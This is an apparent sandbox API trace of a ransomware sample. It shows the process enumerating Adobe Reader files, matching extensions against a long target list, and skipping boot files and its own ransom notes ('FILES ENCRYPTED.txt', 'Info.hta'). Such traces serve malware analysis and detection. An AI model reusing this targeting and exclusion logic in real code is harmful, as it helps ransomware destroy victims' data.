	[0172.741] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0172.741] lstrlenW (lpString=".cub") returned 4
	[0172.741] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0172.741] lstrlenW (lpString=".dae") returned 4
	[0172.741] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0172.741] lstrlenW (lpString=".dat") returned 4
	[0172.741] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0172.741] lstrlenW (lpString=".db") returned 3
	[0172.741] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0172.741] lstrlenW (lpString=".dbf") returned 4
	[0172.741] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0172.741] lstrlenW (lpString=".dbx") returned 4
	[0172.741] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0172.741] lstrlenW (lpString=".dc3") returned 4
	[0172.741] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0172.741] lstrlenW (lpString=".dcm") returned 4
	[0172.741] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0172.741] lstrlenW (lpString=".dcr") returned 4
	[0172.741] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0172.741] lstrlenW (lpString=".der") returned 4
	[0172.741] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0172.742] lstrlenW (lpString=".dib") returned 4
	[0172.742] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0172.742] lstrlenW (lpString=".dic") returned 4
	[0172.742] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0172.742] lstrlenW (lpString=".dif") returned 4
	[0172.742] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0172.742] lstrlenW (lpString=".divx") returned 5
	[0172.742] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0172.742] lstrlenW (lpString=".djvu") returned 5
	[0172.742] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0172.742] lstrlenW (lpString=".dng") returned 4
	[0172.742] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0172.742] lstrlenW (lpString=".doc") returned 4
	[0172.742] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0172.742] lstrlenW (lpString=".docm") returned 5
	[0172.742] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0172.742] lstrlenW (lpString=".docx") returned 5
	[0172.742] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0172.742] lstrlenW (lpString=".dot") returned 4
	[0172.742] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0172.742] lstrlenW (lpString=".dotm") returned 5
	[0172.742] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0172.742] lstrlenW (lpString=".dotx") returned 5
	[0172.742] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0172.742] lstrlenW (lpString=".dpx") returned 4
	[0172.742] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0172.742] lstrlenW (lpString=".dqy") returned 4
	[0172.742] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0172.742] lstrlenW (lpString=".dsn") returned 4
	[0172.742] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0172.742] lstrlenW (lpString=".dt") returned 3
	[0172.742] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0172.742] lstrlenW (lpString=".dtd") returned 4
	[0172.742] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0172.743] lstrlenW (lpString=".dwg") returned 4
	[0172.743] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0172.743] lstrlenW (lpString=".dwt") returned 4
	[0172.743] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0172.743] lstrlenW (lpString=".dx") returned 3
	[0172.743] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0172.743] lstrlenW (lpString=".dxf") returned 4
	[0172.743] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0172.743] lstrlenW (lpString=".edml") returned 5
	[0172.743] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0172.743] lstrlenW (lpString=".efd") returned 4
	[0172.743] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0172.743] lstrlenW (lpString=".elf") returned 4
	[0172.743] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0172.743] lstrlenW (lpString=".emf") returned 4
	[0172.743] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0172.743] lstrlenW (lpString=".emz") returned 4
	[0172.743] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0172.743] lstrlenW (lpString=".epf") returned 4
	[0172.743] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0172.743] lstrlenW (lpString=".eps") returned 4
	[0172.743] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0172.743] lstrlenW (lpString=".epsf") returned 5
	[0172.743] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0172.743] lstrlenW (lpString=".epsp") returned 5
	[0172.743] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1
	[0172.743] lstrlenW (lpString=".erf") returned 4
	[0172.743] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1
	[0172.743] lstrlenW (lpString=".exr") returned 4
	[0172.743] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1
	[0172.743] lstrlenW (lpString=".f4v") returned 4
	[0172.743] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1
	[0172.743] lstrlenW (lpString=".fido") returned 5
	[0172.743] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1
	[0172.744] lstrlenW (lpString=".flm") returned 4
	[0172.744] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1
	[0172.744] lstrlenW (lpString=".flv") returned 4
	[0172.744] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1
	[0172.744] lstrlenW (lpString=".frm") returned 4
	[0172.744] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1
	[0172.744] lstrlenW (lpString=".fxg") returned 4
	[0172.744] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1
	[0172.744] lstrlenW (lpString=".geo") returned 4
	[0172.744] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1
	[0172.744] lstrlenW (lpString=".gif") returned 4
	[0172.744] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1
	[0172.744] lstrlenW (lpString=".grs") returned 4
	[0172.744] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1
	[0172.744] lstrlenW (lpString=".gz") returned 3
	[0172.744] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0172.744] lstrlenW (lpString=".h") returned 2
	[0172.744] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0172.744] lstrlenW (lpString=".hdr") returned 4
	[0172.744] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1
	[0172.744] lstrlenW (lpString=".hpp") returned 4
	[0172.744] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1
	[0172.744] lstrlenW (lpString=".hta") returned 4
	[0172.744] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1
	[0172.744] lstrlenW (lpString=".htc") returned 4
	[0172.744] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1
	[0172.744] lstrlenW (lpString=".htm") returned 4
	[0172.744] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1
	[0172.744] lstrlenW (lpString=".html") returned 5
	[0172.744] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1
	[0172.744] lstrlenW (lpString=".icb") returned 4
	[0172.744] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1
	[0172.744] lstrlenW (lpString=".ics") returned 4
	[0172.744] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1
	[0172.745] lstrlenW (lpString=".iff") returned 4
	[0172.745] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1
	[0172.745] lstrlenW (lpString=".inc") returned 4
	[0172.745] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1
	[0172.745] lstrlenW (lpString=".indd") returned 5
	[0172.745] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1
	[0172.745] lstrlenW (lpString=".ini") returned 4
	[0172.745] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1
	[0172.745] lstrlenW (lpString=".iqy") returned 4
	[0172.745] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1
	[0172.745] lstrlenW (lpString=".j2c") returned 4
	[0172.745] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1
	[0172.745] lstrlenW (lpString=".j2k") returned 4
	[0172.745] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1
	[0172.745] lstrlenW (lpString=".java") returned 5
	[0172.745] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1
	[0172.745] lstrlenW (lpString=".jp2") returned 4
	[0172.745] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1
	[0172.745] lstrlenW (lpString=".jpc") returned 4
	[0172.745] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1
	[0172.745] lstrlenW (lpString=".jpe") returned 4
	[0172.745] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1
	[0172.745] lstrlenW (lpString=".jpeg") returned 5
	[0172.745] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1
	[0172.745] lstrlenW (lpString=".jpf") returned 4
	[0172.745] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1
	[0172.745] lstrlenW (lpString=".jpg") returned 4
	[0172.745] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1
	[0172.745] lstrlenW (lpString=".jpx") returned 4
	[0172.745] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1
	[0172.745] lstrlenW (lpString=".js") returned 3
	[0172.745] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0172.745] lstrlenW (lpString="ui-strings.js") returned 13
	[0172.745] lstrlenW (lpString=".GTF") returned 4
	[0172.746] lstrcmpiW (lpString1=".GTF", lpString2="s.js") returned -1
	[0172.746] lstrlenW (lpString="ui-strings.js") returned 13
	[0172.746] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1
	[0172.746] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1
	[0172.746] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1
	[0172.746] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1
	[0172.746] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1
	[0172.746] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1
	[0172.746] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1
	[0172.746] lstrcmpiW (lpString1="fvppjh.exe", lpString2="ui-strings.js") returned -1
	[0172.746] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sv-se\\ui-strings.js") returned 145
	[0172.746] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0
	[0172.746] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0172.746] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.746] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0172.746] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\tr-tr") returned 131
	[0172.746] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\tr-tr") returned 1
	[0172.746] lstrlenW (lpString="tr-tr") returned 5
	[0172.746] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="tr-tr") returned -1
	[0172.746] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4220460
	[0172.746] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\tr-tr") returned 131
	[0172.746] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\tr-tr\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140ed8
	[0172.746] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0172.747] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0172.747] lstrlenW (lpString="ui-strings.js") returned 13
	[0172.747] lstrlenW (lpString=".1cd") returned 4
	[0172.747] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0172.747] lstrlenW (lpString=".3ds") returned 4
	[0172.747] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0172.747] lstrlenW (lpString=".3fr") returned 4
	[0172.747] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0172.747] lstrlenW (lpString=".3g2") returned 4
	[0172.747] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0172.747] lstrlenW (lpString=".3gp") returned 4
	[0172.747] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0172.747] lstrlenW (lpString=".7z") returned 3
	[0172.747] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0172.747] lstrlenW (lpString=".accda") returned 6
	[0172.747] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0172.747] lstrlenW (lpString=".accdb") returned 6
	[0172.747] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0172.747] lstrlenW (lpString=".accdc") returned 6
	[0172.747] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0172.747] lstrlenW (lpString=".accde") returned 6
	[0172.747] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0172.747] lstrlenW (lpString=".accdt") returned 6
	[0172.747] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0172.747] lstrlenW (lpString=".accdw") returned 6
	[0172.747] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0172.747] lstrlenW (lpString=".adb") returned 4
	[0172.748] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0172.748] lstrlenW (lpString=".adp") returned 4
	[0172.748] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0172.748] lstrlenW (lpString=".ai") returned 3
	[0172.748] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0172.748] lstrlenW (lpString=".ai3") returned 4
	[0172.748] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0172.748] lstrlenW (lpString=".ai4") returned 4
	[0172.748] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0172.748] lstrlenW (lpString=".ai5") returned 4
	[0172.748] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0172.748] lstrlenW (lpString=".ai6") returned 4
	[0172.748] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0172.748] lstrlenW (lpString=".ai7") returned 4
	[0172.748] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0172.748] lstrlenW (lpString=".ai8") returned 4
	[0172.748] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0172.748] lstrlenW (lpString=".anim") returned 5
	[0172.748] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0172.748] lstrlenW (lpString=".arw") returned 4
	[0172.748] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0172.748] lstrlenW (lpString=".as") returned 3
	[0172.748] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0172.748] lstrlenW (lpString=".asa") returned 4
	[0172.748] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0172.748] lstrlenW (lpString=".asc") returned 4
	[0172.748] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0172.748] lstrlenW (lpString=".ascx") returned 5
	[0172.748] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0172.748] lstrlenW (lpString=".asm") returned 4
	[0172.748] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0172.748] lstrlenW (lpString=".asmx") returned 5
	[0172.748] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0172.748] lstrlenW (lpString=".asp") returned 4
	[0172.749] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0172.749] lstrlenW (lpString=".aspx") returned 5
	[0172.749] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0172.749] lstrlenW (lpString=".asr") returned 4
	[0172.749] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0172.749] lstrlenW (lpString=".asx") returned 4
	[0172.749] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0172.749] lstrlenW (lpString=".avi") returned 4
	[0172.749] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0172.749] lstrlenW (lpString=".avs") returned 4
	[0172.749] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0172.749] lstrlenW (lpString=".backup") returned 7
	[0172.749] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0172.980] lstrlenW (lpString=".bak") returned 4
	[0172.980] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0172.980] lstrlenW (lpString=".bay") returned 4
	[0172.980] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0172.980] lstrlenW (lpString=".bd") returned 3
	[0172.980] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0172.980] lstrlenW (lpString=".bin") returned 4
	[0172.980] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0172.980] lstrlenW (lpString=".bmp") returned 4
	[0172.980] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0172.980] lstrlenW (lpString=".bz2") returned 4
	[0172.980] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0172.980] lstrlenW (lpString=".c") returned 2
	[0172.980] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0172.980] lstrlenW (lpString=".cdr") returned 4
	[0172.980] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0172.980] lstrlenW (lpString=".cer") returned 4
	[0172.980] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0172.980] lstrlenW (lpString=".cf") returned 3
	[0172.980] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0172.980] lstrlenW (lpString=".cfc") returned 4
	[0172.980] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0172.980] lstrlenW (lpString=".cfm") returned 4
	[0172.980] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0172.980] lstrlenW (lpString=".cfml") returned 5
	[0172.981] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0172.981] lstrlenW (lpString=".cfu") returned 4
	[0172.981] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0172.981] lstrlenW (lpString=".chm") returned 4
	[0172.981] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0172.981] lstrlenW (lpString=".cin") returned 4
	[0172.981] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0172.981] lstrlenW (lpString=".class") returned 6
	[0172.981] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0172.981] lstrlenW (lpString=".clx") returned 4
	[0172.981] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0172.981] lstrlenW (lpString=".config") returned 7
	[0172.981] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0172.981] lstrlenW (lpString=".cpp") returned 4
	[0172.981] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0172.981] lstrlenW (lpString=".cr2") returned 4
	[0172.981] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0172.981] lstrlenW (lpString=".crt") returned 4
	[0172.981] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0172.981] lstrlenW (lpString=".crw") returned 4
	[0172.981] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0172.981] lstrlenW (lpString=".cs") returned 3
	[0172.981] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0172.981] lstrlenW (lpString=".css") returned 4
	[0172.981] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0172.981] lstrlenW (lpString=".csv") returned 4
	[0172.981] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0172.981] lstrlenW (lpString=".cub") returned 4
	[0172.981] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0172.981] lstrlenW (lpString=".dae") returned 4
	[0172.981] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0172.981] lstrlenW (lpString=".dat") returned 4
	[0172.981] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0172.981] lstrlenW (lpString=".db") returned 3
	[0172.983] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0172.983] lstrlenW (lpString=".dbf") returned 4
	[0172.983] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0172.983] lstrlenW (lpString=".dbx") returned 4
	[0172.983] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0172.983] lstrlenW (lpString=".dc3") returned 4
	[0172.983] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0172.983] lstrlenW (lpString=".dcm") returned 4
	[0172.983] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0172.983] lstrlenW (lpString=".dcr") returned 4
	[0172.983] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0172.983] lstrlenW (lpString=".der") returned 4
	[0172.983] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0172.983] lstrlenW (lpString=".dib") returned 4
	[0172.983] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0172.984] lstrlenW (lpString=".dic") returned 4
	[0172.984] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0172.984] lstrlenW (lpString=".dif") returned 4
	[0172.984] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0172.984] lstrlenW (lpString=".divx") returned 5
	[0172.984] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0172.984] lstrlenW (lpString=".djvu") returned 5
	[0172.984] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0172.984] lstrlenW (lpString=".dng") returned 4
	[0172.984] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0172.984] lstrlenW (lpString=".doc") returned 4
	[0172.984] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0172.984] lstrlenW (lpString=".docm") returned 5
	[0172.984] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0172.984] lstrlenW (lpString=".docx") returned 5
	[0172.984] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0172.984] lstrlenW (lpString=".dot") returned 4
	[0172.984] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0172.984] lstrlenW (lpString=".dotm") returned 5
	[0172.984] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0172.984] lstrlenW (lpString=".dotx") returned 5
	[0172.984] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0172.984] lstrlenW (lpString=".dpx") returned 4
	[0172.984] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0172.984] lstrlenW (lpString=".dqy") returned 4
	[0172.984] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0172.984] lstrlenW (lpString=".dsn") returned 4
	[0172.984] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0172.984] lstrlenW (lpString=".dt") returned 3
	[0172.984] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0172.984] lstrlenW (lpString=".dtd") returned 4
	[0172.984] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0172.984] lstrlenW (lpString=".dwg") returned 4
	[0172.984] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0172.985] lstrlenW (lpString=".dwt") returned 4
	[0172.985] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0172.985] lstrlenW (lpString=".dx") returned 3
	[0172.985] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0172.985] lstrlenW (lpString=".dxf") returned 4
	[0172.985] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0172.985] lstrlenW (lpString=".edml") returned 5
	[0172.985] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0172.985] lstrlenW (lpString=".efd") returned 4
	[0172.985] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0172.985] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.994] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0172.994] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
